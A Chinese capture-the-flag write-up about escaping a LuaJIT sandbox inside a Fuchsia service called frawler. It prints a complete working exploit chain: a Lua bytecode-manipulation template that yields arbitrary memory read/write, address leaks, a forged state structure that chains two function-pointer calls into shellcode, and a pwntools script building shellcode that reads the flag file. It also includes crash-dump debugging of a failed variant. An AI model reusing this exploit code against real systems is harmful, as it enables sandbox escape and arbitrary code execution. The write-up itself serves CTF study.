Frawler(2)

上一篇我们主要分析了现成的luajit沙箱逃逸exp为什么不能直接使用,过程中我们弄明白了luajit的原理了,这下对我们在zircon内进行分析就有一定好处了,因为在zircon内没有调试器可以用(或者是我不方便编译出来使用),所以对luajit的熟悉可以让我们一方面快速识别出内嵌在目标可执行文件内的luajit代码,从而明白到底现在在发生什么。

虽然没有调试器,但是在fuchsia内如果触发了setfault是会有dump信息显示在fuchsia boot console里的,这也是为什么我们具有没有调试器也可以把exp调出来的可能。

在这一部分我首先讲述一下我按照@david492j的思路,以及参考他的exp完成我的exp的过程,最后再来分析为什么在linux里调试成功的luajit沙箱逃逸代码在fuchsia里没起作用。

david的思路

这里再次感谢@david492j不吝啬与我这样的菜鸡分享思路。。

精准猜测

按照他的说法,由于之前"PANIC"的信息(在上一篇中已经分析了为什么会出现这样的信息),他们以为在fuchsia内jit是不能直接使用的。这么看他们应该是直接在fuchsia内进行操作了,这里可以看出真正大佬的自信。。我完全不敢保证在没有调试器的情况下我的代码和我想的一样。。这也是为什么我会非常需要在linux里先调试一遍。

不过这非常巧妙的让他们绕过了一个大坑。。因为事实上我们上一篇中调好的luajit沙箱逃逸代码并不能使用,具体原因我在后文会尝试去分析。

大佬的思路

按照他们的思路,在原exp中虽然不能直接使用,但是其中的任意地址读写(其实后来调试发现是4字节范围内)和任意地址调用是可以使用的,我分开测试也发现了这一点。

所以他们采用了直接利用任意读写和泄露去完成利用。

回想一下我们在fuchsia内和linux利用上的几点不同:

  1. 无法调试(这一点可以通过查看崩溃时的dump日志来解决)
  2. 无法直接进行系统调用

其他部分似乎差距并不大,所以思路上也没有太大差距:

  1. 泄露text_base
  2. 有了text_base配合任意读写可以泄露libc(ld.so.1,在fuchsia内与libc为同一个文件)
  3. 之后有任意地址调用,可以调用mprotect之后再跳到shellcode。

但是第3点就需要有连续两次能控制的跳转,第一次跳转到mprotect,第二次跳转到shellcode。由于目标代码有luajit,mprotect并不是一个很大的问题,我们可以直接复用luajit内的mprotect的部分。之后第二次跳转到shellcode。但是如何去找到连续两个能控制的跳转呢?

这里就不得不佩服大佬的思路了。回想一下哪里的函数指针最多?当然是FILE结构体啦,于是在FILE相关的函数附近,大佬使用了fflush,我自己也找了一下,还发现了libc内0x32e50位置的函数也是两个连续的函数指针调用:

__int64 __fastcall sub_32E50(int64_t *a1, __int64 a2, unsigned int a3)
{
  __int64 v3; // r13
  unsigned int v4; // er12
  __int64 result; // rax

  v3 = a2;
  v4 = a3;
  if ( a3 == 1 )
    v3 = a2 - (a1[2] - a1[1]);
  if ( a1[5] > (unsigned __int64)a1[7] )
  {
    ((void (__fastcall *)(int64_t *, _QWORD, _QWORD))a1[9])(a1, 0LL, 0LL); // <-- 第一次
    if ( !a1[5] )
      return 0xFFFFFFFFLL;
  }
  a1[4] = 0LL;
  a1[7] = 0LL;
  a1[5] = 0LL;
  if ( ((__int64 (__fastcall *)(int64_t *, __int64, _QWORD))a1[10])(a1, v3, v4) < 0 ) // <-- 第二次
    return 0xFFFFFFFFLL;
  *(_DWORD *)a1 &= 0xFFFFFFEF;
  result = 0LL;
  a1[2] = 0LL;
  a1[1] = 0LL;
  return result;
}

然后参数上,第一个参数,在这里是FILE结构体指针,而在任意跳转的时候第一个参数是lua_State的指针,好在这个指针的内存是可写的,我们又恰好有任意地址写,所以可以通过直接把lua_State按照要求进行伪造,就可以成功进行两次调用了。

所以这样的exp巧妙又简洁,还避免了一个大坑。

另外几个细节的解决:

  1. 泄露:在原exp中是存在泄露的,采用了一个空字符串去相对找位置,我没有详细阅读这一部分的代码,我估计和python处理比较类似,为了加速字符串可能会把空字符串等这种可以直接处理为常量存在某个data位置或是State附近,看起来luajit是存在了State附近。这样我通过dump了这个附近的内存去,再通过崩溃日志去查看有没有能够出现libc或是text地址的地方,事实上这样是能找到的,毕竟可能有一些函数指针之类的会存在State
  2. State所在地址:这个地址测试后发现不存在aslr,固定地址
  3. 关于设置原exp中fshellcode指向目标(也就是要调用的目标地址)和mctab任意写之间的顺序:这里有个小坑,就是按照原exp的顺序会在中间崩溃掉,我仔细思考了一下,其实mctab的任意写是在lua里完成的,中间会涉及大量的luajit字节码处理逻辑,而写入又是一个一个写入的,我们在设置fshellcode的时候存在一些泄露操作,不仅仅是单一的赋值,所以有可能在执行luajit字节码的过程中出现了损坏。想到调换顺序还是比较容易的,一方面mctab的赋值格式统一,二方面尽量减少赋值和调用之间的逻辑过程,避免出现意想不到的错误。

在解决了这几个细节之后,配合上已经想好的思路就没有太大的难度了。

exploit

create.tpl.lua (生成用于loadstring的字节码,我进行了hex encode,留出shellcode的部分)

-- The following function serves as the template for evil.lua.
-- The general outline is to compile this function as-written, dump
-- it to bytecode, manipulate the bytecode a bit, and then save the
-- result as evil.lua.
local evil = function(v)
  -- This is the x86_64 native code which we'll execute. It
  -- is a very benign payload which just prints "Hello World"
  -- and then fixes up some broken state.
  --
  local shellcode =
    {SHELLCODE_TPL}

  -- The dirty work is done by the following "inner" function.
  -- This inner function exists because we require a vararg call
  -- frame on the Lua stack, and for the function associated with
  -- said frame to have certain special upvalues.
  local function inner(...)

    if false then
      -- The following three lines turn into three bytecode
      -- instructions. We munge the bytecode slightly, and then
      -- later reinterpret the instructions as a cdata object,
      -- which will end up being `cdata<const char *>: NULL`.
      -- The `if false` wrapper ensures that the munged bytecode
      -- isn't executed.
      local cdata = -32749
      cdata = 0
      cdata = 0
    end

    -- Through the power of bytecode manipulation, the
    -- following three functions will become (the fast paths of)
    -- string.byte, string.char, and string.sub. This is
    -- possible because LuaJIT has bytecode instructions
    -- corresponding to the fast paths of said functions. Note
    -- that we musn't stray from the fast path (because the
    -- fallback C code won't be wired up). Also note that the
    -- interpreter state will be slightly messed up after
    -- calling one of these functions.
    local function s_byte(s) end
    local function s_char(i, _) end
    local function s_sub(s, i, j) end


    -- The following function does nothing, but calling it will
    -- restore the interpreter state which was messed up following
    -- a call to one of the previous three functions. Because this
    -- function contains a cdata literal, loading it from bytecode
    -- will result in the ffi library being initialised (but not
    -- registered in the global namespace).
    local function resync() return 0LL end

    -- Helper function to reinterpret the first four bytes of a
    -- string as a uint32_t, and return said value as a number.
    local function s_uint32(s)
      local result = 0
      for i = 4, 1, -1 do
        result = result * 256 + s_byte(s_sub(s, i, i))
        resync()
      end
      return result
    end

    -- The following line obtains the address of the GCfuncL
    -- object corresponding to "inner". As written, it just fetches
    -- the 0th upvalue, and does some arithmetic. After some
    -- bytecode manipulation, the 0th upvalue ends up pointing
    -- somewhere very interesting: the frame info TValue containing
    -- func|FRAME_VARG|delta. Because delta is small, this TValue
    -- will end up being a denormalised number, from which we can
    -- easily pull out 32 bits to give us the "func" part.
    local iaddr = (inner * 2^1022 * 2^52) % 2^32

    -- The following five lines read the "pc" field of the GCfuncL
    -- we just obtained. This is done by creating a GCstr object
    -- overlaying the GCfuncL, and then pulling some bytes out of
    -- the string. Bytecode manipulation results in a nice KPRI
    -- instruction which preserves the low 32 bits of the istr
    -- TValue while changing the high 32 bits to specify that the
    -- low 32 bits contain a GCstr*.
    local istr = (iaddr - 4) + 2^52
    istr = -32764 -- Turned into KPRI(str)
    local pc = s_sub(istr, 5, 8)
    istr = resync()
    pc = s_uint32(pc)
    -- The following three lines result in the local variable
    -- called "memory" being `cdata<const char *>: NULL`. We can
    -- subsequently use this variable to read arbitrary memory
    -- (one byte at a time). Note again the KPRI trick to change
    -- the high 32 bits of a TValue. In this case, the low 32 bits
    -- end up pointing to the bytecode instructions at the top of
    -- this function wrapped in `if false`.
    local memory = (pc + 8) + 2^52
    memory = -32758 -- Turned into KPRI(cdata)
    memory = memory + 0

    -- Helper function to read a uint32_t from any memory location.
    local function m_uint32(offs)
      local result = 0
      for i = offs + 3, offs, -1 do
        result = result * 256 + (memory[i] % 256)
      end
      return result
    end

    local function m_uint64(offs)
        local result = 0
        for i = offs + 7, offs, -1 do
            result = result * 256 + (memory[i] % 256)
        end
        return result
    end

    -- Helper function to extract the low 32 bits of a TValue.
    -- In particular, for TValues containing a GCobj*, this gives
    -- the GCobj* as a uint32_t. Note that the two memory reads
    -- here are GCfuncL::uvptr[1] and GCupval::v.
    local vaddr = m_uint32(m_uint32(iaddr + 24) + 16)
    local function low32(tv)
      v = tv
      res = m_uint32(vaddr)
      return res
    end

    -- Helper function which is the inverse of s_uint32: given a
    -- 32 bit number, returns a four byte string.
    local function ub4(n)
      local result = ""
      for i = 0, 3 do
        local b = n % 256
        n = (n - b) / 256
        result = result .. s_char(b)
        resync()
      end
      return result
    end

    local function ub8(n)
        local result = ""
        for i = 0, 7 do
            local b = n % 256
            n = (n - b) / 256
            result = result .. s_char(b)
            resync()
        end
        return result
    end



    local function hexdump_print(addr, len)
        local result = ''
        for i = 0, len - 1 do
            if i % 16 == 0 and i ~= 0 then
                result = result .. '\n'
            end
            result = result .. string.format('%02x', memory[addr + i] % 0x100) .. ' '
        end

        print(result)
    end


    local function hexdump_tv(tv)
        v = tv
        hexdump_print(vaddr, 8)
    end

    local text_base = m_uint64(low32("") - 4 + 0x80) - 0x29090
    --print('got text_base @ 0x' .. string.format('%x', text_base))
    local strlen_got = text_base + 0x74058
    local strlen_addr = m_uint64(strlen_got)
    --print('strlen got @ 0x' .. string.format('%x', strlen_addr))
    local ld_so_base = strlen_addr - 0x59e80
    --print('ld_so base @ 0x' .. string.format('%x', ld_so_base))

    local nop4k = "\144"
    for i = 1, 12 do nop4k = nop4k .. nop4k end
    local ashellcode = nop4k .. shellcode .. nop4k
    local asaddr = low32(ashellcode) + 16
    asaddr = asaddr + 2^12 - (asaddr % 2^12)
    --print(asaddr)

    -- arbitrary (32 bits range) write
    -- form file structure according to function requirements
    local rdi = 0x10000378 -- State <-- fixed?!
    --local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(rdi)
    --  .."\0\0\0\0\0\0\0\0\255\255\0\0\255\255\255\255"
    -- move this before arbitrary write
    -- seems this will interfere, because the State has been
    -- manipulated after arbitrary write
    local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
      ub8(ld_so_base + 0x32e50)
    fshellcode = -32760 -- Turned into KPRI(func)

    local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(rdi)
      .."\0\0\0\0\0\0\0\0\0\0\0\0\255\255\0\0\255\255\255\255"
    local mctab = low32(mctab_s) + 16 + 2^52
    mctab = -32757 -- Turned into KPRI(table)
    mctab[5] = 0x1 / 2^52 / 2^1022
    mctab[7] = 0 / 2^52 / 2^1022 -- qword ptr [$rdi + 40] > qword ptr [$rdi + 56]
    mctab[9] = (text_base + 0x56ca0) / 2^52 / 2^1022
    --mctab[9] = 0x2200 / 2^52 / 2^1022
    mctab[306] = 0x10008000 / 2^52 / 2^1022
    mctab[309] = 0x10000 / 2^52 / 2^1022
    mctab[10] = asaddr / 2^52 / 2^1022
    --mctab[10] = 0xdeadbeef / 2^52 / 2^1022
    -- The following seven lines result in the memory protection of
    -- the page at asaddr changing from read/write to read/execute.
    -- This is done by setting the jit_State::mcarea and szmcarea
    -- fields to specify the page in question, setting the mctop and
    -- mcbot fields to an empty subrange of said page, and then
    -- triggering some JIT compilation. As a somewhat unfortunate
    -- side-effect, the page at asaddr is added to the jit_State's
    -- linked-list of mcode areas (the shellcode unlinks it).


    --[[
    local mcarea = mctab[1]
    val = asaddr / 2^52 / 2^1022
    mctab[4] = 2^12 / 2^52 / 2^1022
    local wtf = low32("") + 2748
    mctab[3] = val
    mctab[2] = val
    mctab[1] = val
    mctab[0] = val
    hexdump_print(wtf, 32 + 32)
    local i = 0

    while i < 0x1000 do i = i + 1 end
    print(i)
    --]]

    -- The following three lines construct a GCfuncC object
    -- whose lua_CFunction field is set to asaddr. A fixed
    -- offset from the address of the empty string gives us
    -- the global_State::bc_cfunc_int field.
    --local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
    --  ub4(asaddr) .."\0\0\0\0"

    fshellcode()
  end
  inner()
end

-- Some helpers for manipulating bytecode:
local ffi = require "ffi"
local bit = require "bit"
local BC = {KSHORT = 41, KPRI = 43}

-- Dump the as-written evil function to bytecode:
local estr = string.dump(evil, true)
local buf = ffi.new("uint8_t[?]", #estr+1, estr)
local p = buf + 5

-- Helper function to read a ULEB128 from p:
local function read_uleb128()
  local v = p[0]; p = p + 1
  if v >= 128 then
    local sh = 7; v = v - 128
    repeat
      local r = p[0]
      v = v + bit.lshift(bit.band(r, 127), sh)
      sh = sh + 7
      p = p + 1
    until r < 128
  end
  return v
end

-- The dumped bytecode contains several prototypes: one for "evil"
-- itself, and one for every (transitive) inner function. We step
-- through each prototype in turn, and tweak some of them.
while true do
  local len = read_uleb128()
  if len == 0 then break end
  local pend = p + len
  local flags, numparams, framesize, sizeuv = p[0], p[1], p[2], p[3]
  p = p + 4
  read_uleb128()
  read_uleb128()
  local sizebc = read_uleb128()
  local bc = p
  local uv = ffi.cast("uint16_t*", p + sizebc * 4)
  if numparams == 0 and sizeuv == 3 then
    -- This branch picks out the "inner" function.
    -- The first thing we do is change what the 0th upvalue
    -- points at:
    uv[0] = uv[0] + 2
    -- Then we go through and change everything which was written
    -- as "local_variable = -327XX" in the source to instead be
    -- a KPRI instruction:
    for i = 0, sizebc do
      if bc[0] == BC.KSHORT then
        local rd = ffi.cast("int16_t*", bc)[1]
        if rd <= -32749 then
          bc[0] = BC.KPRI
          bc[3] = 0
          if rd == -32749 then
            -- the `cdata = -32749` line in source also tweaks
            -- the two instructions after it:
            bc[4] = 0
            bc[8] = 0
          end
        end
      end
      bc = bc + 4
    end
  elseif sizebc == 1 then
    -- As written, the s_byte, s_char, and s_sub functions each
    -- contain a single "return" instruction. We replace said
    -- instruction with the corresponding fast-function instruction.
    bc[0] = 147 + numparams
    bc[2] = bit.band(1 + numparams, 6)
  end
  p = pend
end


function string.fromhex(str)
    return (str:gsub('..', function (cc)
        return string.char(tonumber(cc, 16))
    end))
end

function string.tohex(str)
    return (str:gsub('.', function (c)
        return string.format('%02X', string.byte(c))
end))
end

res = string.tohex(ffi.string(buf, #estr))
local f = io.open("../shellcode.hex", "wb")
f:write(ffi.string(res, #res))
f:close()
print(res)
a = loadstring(string.fromhex(res))
print(a())
-- Finally, save the manipulated bytecode as evil.lua:

gen_shellcode.py (填入最后执行的shellcode)

from pwn import *
context(arch='amd64', os='linux')

shellcode = r'''
sub rsi, 0x2710
mov rax, rsi
mov rbp, rax
add rax, 0x73370
mov rdi, %s
push rdi
mov rdi, %s
push rdi
mov rdi, rsp
push 0
push 114
mov rsi, rsp
call rax
mov rcx, rax
mov rdi, rsp
mov rsi, 100
mov rdx, 100
mov rax, rbp
add rax, 0x733c0
call rax
mov rdi, 1
mov rsi, rsp
mov rdx, 100
mov rax, rbp
add rax, 0x73510
call rax

push 0
ret

'''
print(shellcode)
shellcode = shellcode % (u64('a/flag'.ljust(8, '\x00')), u64('/pkg/dat'))

with open('create.tpl.lua', 'r') as f:
    content = f.read()
    shellcode_hex = repr(asm(shellcode))
    content = content.replace('{SHELLCODE_TPL}', shellcode_hex)
    with open('create.lua', 'w') as f:
        f.write(content)

script.lua (实际传入response的lua代码,留出字节码hex部分)

function string.fromhex(str)
    return (str:gsub('..', function (cc)
        return string.char(tonumber(cc, 16))
    end))
end

function string.tohex(str)
    return (str:gsub('.', function (c)
        return string.format('%02X', string.byte(c))
end))
end

shellcode = '{}'

function fdb0cdf28c53764e()
    x = loadstring(string.fromhex(shellcode))
    return tostring(x())
end

print(fdb0cdf28c53764e())

request.py和forward.py在上一篇中给出了。

最后的利用:

python2 gen_shellcode.py
python2 request.py

[DEBUG] Received 0x1c0 bytes:
    '<head>\n'
    '<title>Error response</title>\n'
    '</head>\n'
    '<body>\n'
    '<h1>Error response</h1>\n'
    '<p>Error code 400.\n'
    "<p>Message: Bad request syntax ('rwctf{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}\\x04\\x00\\x10\\x00\\x00\\x00\\x00\\xb8\\x03\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\xcf\\x90J\\xa8.\\x00\\x00x\\x03\\x00\\x10\\x00\\x00\\x00\\x00\\x87A\\\\]\\xd3\\x1a\\x00\\x00H\\x94\\x00\\x10\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00').\n"
    '<p>Error code explanation: 400 = Bad request syntax or unsupported method.\n'

一个字节引发的血案

但是到这个时候我就很不爽了。
为啥我好不容易才调好的luajit逃逸用不了啊,这没道理啊,那我们来分析一下为啥用不了。

第一步,先把代码跑起来,看看dump日志。

[40698.170] 01045.01203> devmgr: crash_analyzer_listener: analyzing exception type 0x108
[40698.171] 01105.01119> <== fatal exception: process /pkg/bin/frawler[162600] thread initial-thread[162612]
[40698.171] 01105.01119> <== fatal page fault, PC at 0x7a8af11e4b20
[40698.171] 01105.01119>  CS:                   0 RIP:     0x7a8af11e4b20 EFL:              0x246 CR2:             0x8000
[40698.171] 01105.01119>  RAX:             0x8000 RBX:                  0 RCX:                  0 RDX:                  0
[40698.171] 01105.01119>  RSI:                  0 RDI:     0x5746f370eb58 RBP:     0x799649e95ca0 RSP:     0x799649e95c78
[40698.171] 01105.01119>   R8:                  0  R9:                  0 R10:                  0 R11:              0x206
[40698.171] 01105.01119>  R12:     0x5746f370eb58 R13:         0x100003b8 R14:     0x5746f370eb58 R15:                0x1
[40698.171] 01105.01119>  errc:               0x6
[40698.171] 01105.01119> bottom of user stack:
[40698.171] 01105.01119> 0x0000799649e95c78: f11e4acc 00007a8a 10000558 00000000 |.J...z..X.......|
[40698.171] 01105.01119> 0x0000799649e95c88: f370eed0 00005746 00008008 00000000 |..p.FW..........|
[40698.171] 01105.01119> 0x0000799649e95c98: 10000558 00000000 49e95cf0 00007996 |X........\.I.y..|
[40698.171] 01105.01119> 0x0000799649e95ca8: f11c7474 00007a8a a1ad8e1c 9b72fb15 |tt...z........r.|
[40698.171] 01105.01119> 0x0000799649e95cb8: f370eec8 00005746 10000558 00000000 |..p.FW..X.......|
[40698.172] 01105.01119> 0x0000799649e95cc8: 10000558 00000000 f1190868 00007a8a |X.......h....z..|
[40698.172] 01105.01119> 0x0000799649e95cd8: 100003b8 00000000 100003b8 00000000 |................|
[40698.172] 01105.01119> 0x0000799649e95ce8: 10000378 00000000 49e95d30 00007996 |x.......0].I.y..|
[40698.172] 01105.01119> 0x0000799649e95cf8: f11c5e0d 00007a8a 1000d0b8 00000000 |.^...z..........|
[40698.172] 01105.01119> 0x0000799649e95d08: 10000558 00000000 00000018 00000000 |X...............|
[40698.172] 01105.01119> 0x0000799649e95d18: 100003b8 00000000 10000fa8 00000000 |................|
[40698.172] 01105.01119> 0x0000799649e95d28: 49e95e00 00007996 10000378 00000000 |.^.I.y..x.......|
[40698.172] 01105.01119> 0x0000799649e95d38: f11ff4f6 00007a8a 10000fa8 00000000 |.....z..........|
[40698.172] 01105.01119> 0x0000799649e95d48: 49e95e00 00007996 fffffee0 00000000 |.^.I.y..........|
[40698.172] 01105.01119> 0x0000799649e95d58: 10000378 10000378 49e95e00 00007996 |x...x....^.I.y..|
[40698.172] 01105.01119> 0x0000799649e95d68: 10000378 00000000 1000d278 00000000 |x.......x.......|
[40698.172] 01105.01119> arch: x86_64
[40698.184] 01105.01119> dso: id=333103e7c266dfce base=0x7a8af118e000 name=app:/pkg/bin/frawler
[40698.184] 01105.01119> dso: id=8f51b7868dd0d5b9aefede5739518f97f2a580e0 base=0x58f25e8e0000 name=libc.so
[40698.184] 01105.01119> dso: id=89d4eb99573947ac792dd4a5e9e498bd44b4eefe base=0x554a3ca5d000 name=<vDSO>
[40698.184] 01105.01119> dso: id=fa0cdaa5591d31e3 base=0x2f6fae109000 name=libc++.so.2
[40698.184] 01105.01119> dso: id=86f83b6141c863ad base=0x2d3787750000 name=libunwind.so.1
[40698.184] 01105.01119> dso: id=4b87e913774eb02cb107ae0f1385ddfcb877ba2e base=0xe98beb70000 name=libfdio.so
[40698.184] 01105.01119> dso: id=ecfc9b0e3f0ca03b base=0xaef30a38000 name=libclang_rt.scudo.so
[40698.184] 01105.01119> dso: id=1b59f762cf98d972 base=0x85aca3d3000 name=libc++abi.so.1
[40698.184] 01105.01119> {{{reset}}}
[40698.185] 01105.01119> {{{module:0x21fb5444:<VMO#162635=libc++abi.so.1>:elf:1b59f762cf98d972}}}
[40698.185] 01105.01119> {{{mmap:0x85aca3d3000:0x16000:load:0x21fb5444:r:0}}}
[40698.185] 01105.01119> {{{mmap:0x85aca3e9000:0x24000:load:0x21fb5444:rx:0x16000}}}
[40698.185] 01105.01119> {{{mmap:0x85aca40d000:0x5000:load:0x21fb5444:rw:0x3a000}}}
[40698.185] 01105.01119> {{{module:0x21fb5445:<VMO#162620=libclang_rt.scudo.s:elf:ecfc9b0e3f0ca03b}}}
[40698.185] 01105.01119> {{{mmap:0xaef30a38000:0x8000:load:0x21fb5445:r:0}}}
[40698.185] 01105.01119> {{{mmap:0xaef30a40000:0xa000:load:0x21fb5445:rx:0x8000}}}
[40698.192] 01105.01119> {{{mmap:0xaef30a4a000:0x4000:load:0x21fb5445:rw:0x12000}}}
[40698.192] 01105.01119> {{{module:0x21fb5446:<VMO#162625=libfdio.so>:elf:4b87e913774eb02cb107ae0f1385ddfcb877ba2e}}}
[40698.192] 01105.01119> {{{mmap:0xe98beb70000:0x22000:load:0x21fb5446:rx:0}}}
[40698.192] 01105.01119> {{{mmap:0xe98beb93000:0x4000:load:0x21fb5446:rw:0x23000}}}
[40698.192] 01105.01119> {{{module:0x21fb5447:<VMO#162640=libunwind.so.1>:elf:86f83b6141c863ad}}}
[40698.192] 01105.01119> {{{mmap:0x2d3787750000:0x6000:load:0x21fb5447:r:0}}}
[40698.192] 01105.01119> {{{mmap:0x2d3787756000:0x8000:load:0x21fb5447:rx:0x6000}}}
[40698.192] 01105.01119> {{{mmap:0x2d378775e000:0x3000:load:0x21fb5447:rw:0xe000}}}
[40698.192] 01105.01119> {{{module:0x21fb5448:<VMO#162630=libc++.so.2>:elf:fa0cdaa5591d31e3}}}
[40698.192] 01105.01119> {{{mmap:0x2f6fae109000:0x52000:load:0x21fb5448:r:0}}}
[40698.192] 01105.01119> {{{mmap:0x2f6fae15b000:0x77000:load:0x21fb5448:rx:0x52000}}}
[40698.192] 01105.01119> {{{mmap:0x2f6fae1d2000:0x9000:load:0x21fb5448:rw:0xc9000}}}
[40698.192] 01105.01119> {{{module:0x21fb5449:<VMO#1033=vdso/full>:elf:89d4eb99573947ac792dd4a5e9e498bd44b4eefe}}}
[40698.192] 01105.01119> {{{mmap:0x554a3ca5d000:0x7000:load:0x21fb5449:r:0}}}
[40698.192] 01105.01119> {{{mmap:0x554a3ca64000:0x1000:load:0x21fb5449:rx:0x7000}}}
[40698.192] 01105.01119> {{{module:0x21fb544a:<VMO#162604=ld.so.1>:elf:8f51b7868dd0d5b9aefede5739518f97f2a580e0}}}
[40698.192] 01105.01119> {{{mmap:0x58f25e8e0000:0xcb000:load:0x21fb544a:rx:0}}}
[40698.192] 01105.01119> {{{mmap:0x58f25e9ac000:0x6000:load:0x21fb544a:rw:0xcc000}}}
[40698.192] 01105.01119> {{{module:0x21fb544b:<VMO#162591=/pkg/bin/frawler>:elf:333103e7c266dfce}}}
[40698.192] 01105.01119> {{{mmap:0x7a8af118e000:0x1d000:load:0x21fb544b:r:0}}}
[40698.192] 01105.01119> {{{mmap:0x7a8af11ab000:0x57000:load:0x21fb544b:rx:0x1d000}}}
[40698.192] 01105.01119> {{{mmap:0x7a8af1202000:0x4000:load:0x21fb544b:rw:0x74000}}}
[40698.196] 01105.01119> bt#01: pc 0x7a8af11e4b20 sp 0x799649e95c78 (app:/pkg/bin/frawler,0x56b20)
[40698.196] 01105.01119> bt#02: pc 0x7a8af11e4acc sp 0x799649e95c80 (app:/pkg/bin/frawler,0x56acc)
[40698.197] 01105.01119> bt#03: pc 0x7a8af11c7474 sp 0x799649e95cb0 (app:/pkg/bin/frawler,0x39474)
[40698.198] 01105.01119> bt#04: pc 0x7a8af11c5e0d sp 0x799649e95d00 (app:/pkg/bin/frawler,0x37e0d)
[40698.198] 01105.01119> bt#05: pc 0x7a8af11ff4f6 sp 0x799649e95d40 (app:/pkg/bin/frawler,0x714f6)
[40698.205] 01105.01119> bt#06: pc 0x7a8af11b0547 sp 0x799649e95d90 (app:/pkg/bin/frawler,0x22547)
[40698.209] 01105.01119> bt#07: pc 0x7a8af11b03a5 sp 0x799649e95db0 (app:/pkg/bin/frawler,0x223a5)
[40698.209] 01105.01119> bt#08: pc 0x7a8af1200af1 sp 0x799649e95e00 (app:/pkg/bin/frawler,0x72af1)
[40698.210] 01105.01119> bt#09: pc 0x7a8af11b3218 sp 0x799649e95e50 (app:/pkg/bin/frawler,0x25218)
[40698.210] 01105.01119> bt#10: pc 0x7a8af11f9f49 sp 0x799649e95e90 (app:/pkg/bin/frawler,0x6bf49)
[40698.211] 01105.01119> bt#11: pc 0x7a8af11fa0c6 sp 0x799649e95ec0 (app:/pkg/bin/frawler,0x6c0c6)
[40698.211] 01105.01119> bt#12: pc 0x7a8af11fa270 sp 0x799649e95f10 (app:/pkg/bin/frawler,0x6c270)
[40698.211] 01105.01119> bt#13: pc 0x58f25e8f9c48 sp 0x799649e95f60 (libc.so,0x19c48)
[40698.215] 01105.01119> bt#14: pc 0 sp 0x799649e96000
[40698.215] 01105.01119> bt#15: end
[40698.218] 01105.01119> {{{bt:1:0x7a8af11e4b20}}}
[40698.222] 01105.01119> {{{bt:2:0x7a8af11e4acc}}}
[40698.222] 01105.01119> {{{bt:3:0x7a8af11c7474}}}
[40698.223] 01105.01119> {{{bt:4:0x7a8af11c5e0d}}}
[40698.223] 01105.01119> {{{bt:5:0x7a8af11ff4f6}}}
[40698.224] 01105.01119> {{{bt:6:0x7a8af11b0547}}}
[40698.224] 01105.01119> {{{bt:7:0x7a8af11b03a5}}}
[40698.224] 01105.01119> {{{bt:8:0x7a8af1200af1}}}
[40698.226] 01105.01119> {{{bt:9:0x7a8af11b3218}}}
[40698.226] 01105.01119> {{{bt:10:0x7a8af11f9f49}}}
[40698.227] 01105.01119> {{{bt:11:0x7a8af11fa0c6}}}
[40698.227] 01105.01119> {{{bt:12:0x7a8af11fa270}}}
[40698.228] 01105.01119> {{{bt:13:0x58f25e8f9c48}}}
[40698.229] 01105.01119> {{{bt:14:0}}}

根据之前我们调exp的时候,知道aslr的情况来看,非常明显我们没能跳到shellcode执行,死在中间了。

幸运的是dump里给出了bt,所以来跟一下,看看是死在哪儿了。
在这种时候,如果你之前完整跟了上一篇里的luajit代码,并且自己看了一遍,日子就好过多了,毕竟流程上差异不大。

首先是0x56b20,直接原因。

LOAD:0000000000056B1B mov     ecx, esi
LOAD:0000000000056B1D shl     ecx, 5
LOAD:0000000000056B20 mov     byte ptr [rax], 6Ah ; 'j'
LOAD:0000000000056B23 mov     [rax+1], cl
LOAD:0000000000056B26 mov     r9d, esi
LOAD:0000000000056B29 and     r9d, 7

rax目前的值为0x8000,显然放不进去,但是仔细一看这个结构:

这不就是上一篇里的asm_exitstub_gen么?但是看起来这个死的位置有点奇怪啊,应该是死在了赋值给mxp的时候了。
回顾一下代码:

/* Generate an exit stub group at the bottom of the reserved MCode memory. */
static MCode *asm_exitstub_gen(ASMState *as, ExitNo group)
{
  ExitNo i, groupofs = (group*EXITSTUBS_PER_GROUP) & 0xff;
  MCode *mxp = as->mcbot;
  MCode *mxpstart = mxp;
  if (mxp + (2+2)*EXITSTUBS_PER_GROUP+8+5 >= as->mctop)
    asm_mclimit(as);
  /* Push low byte of exitno for each exit stub. */
  *mxp++ = XI_PUSHi8; *mxp++ = (MCode)groupofs; // 应该是这里死了
  for (i = 1; i < EXITSTUBS_PER_GROUP; i++) {
    *mxp++ = XI_JMPs; *mxp++ = (MCode)((2+2)*(EXITSTUBS_PER_GROUP - i) - 2);
    *mxp++ = XI_PUSHi8; *mxp++ = (MCode)(groupofs + i);
  }
  /* Push the high byte of the exitno for each exit stub group. */
  *mxp++ = XI_PUSHi8; *mxp++ = (MCode)((group*EXITSTUBS_PER_GROUP)>>8);
  /* Store DISPATCH at original stack slot 0. Account for the two push ops. */
  *mxp++ = XI_MOVmi;
  *mxp++ = MODRM(XM_OFS8, 0, RID_ESP);
  *mxp++ = MODRM(XM_SCALE1, RID_ESP, RID_ESP);
  *mxp++ = 2*sizeof(void *);
  *(int32_t *)mxp = ptr2addr(J2GG(as->J)->dispatch); mxp += 4;
  /* Jump to exit handler which fills in the ExitState. */
  *mxp++ = XI_JMP; mxp += 4;
  *((int32_t *)(mxp-4)) = jmprel(mxp, (MCode *)(void *)lj_vm_exit_handler);
  /* Commit the code for this group (even if assembly fails later on). */
  lj_mcode_commitbot(as->J, mxp);
  as->mcbot = mxp;
  as->mclim = as->mcbot + MCLIM_REDZONE;
  return mxpstart;
}

再对比一下寄存器值,这里mxp其实是mcbot,但是这里的值是0x8000,0x8000按理说是我设置的mctab[3],也就是szmcarea的值吧?

回顾一下结构:

mcprot = 0x0, 
  mcarea = 0x1234 <error: Cannot access memory at address 0x1234>, 
  mctop = 0x4321 <error: Cannot access memory at address 0x4321>, 
  mcbot = 0xdead <error: Cannot access memory at address 0xdead>, 
  szmcarea = 0xbeef, 
  szallmcarea = 0x1000,

那么这里岂不是,错了个位?回想一下最开始的exp,好像这里就是错了个位啊.

为了保证我们的判断没有错,我们再魔改一下看看。

local mcarea = mctab[1]
    mctab[0] = 0x1234/ 2^52 / 2^1022
    mctab[1] = 0x4321/ 2^52 / 2^1022
    mctab[2] = 0xdead / 2^52 / 2^1022
    mctab[3] = asaddr / 2^52 / 2^1022
    mctab[4] = 2^12 / 2^52 / 2^1022
    --while mctab[0] == 0 do end
    local i = 1
    while i < 0x1000000 do 
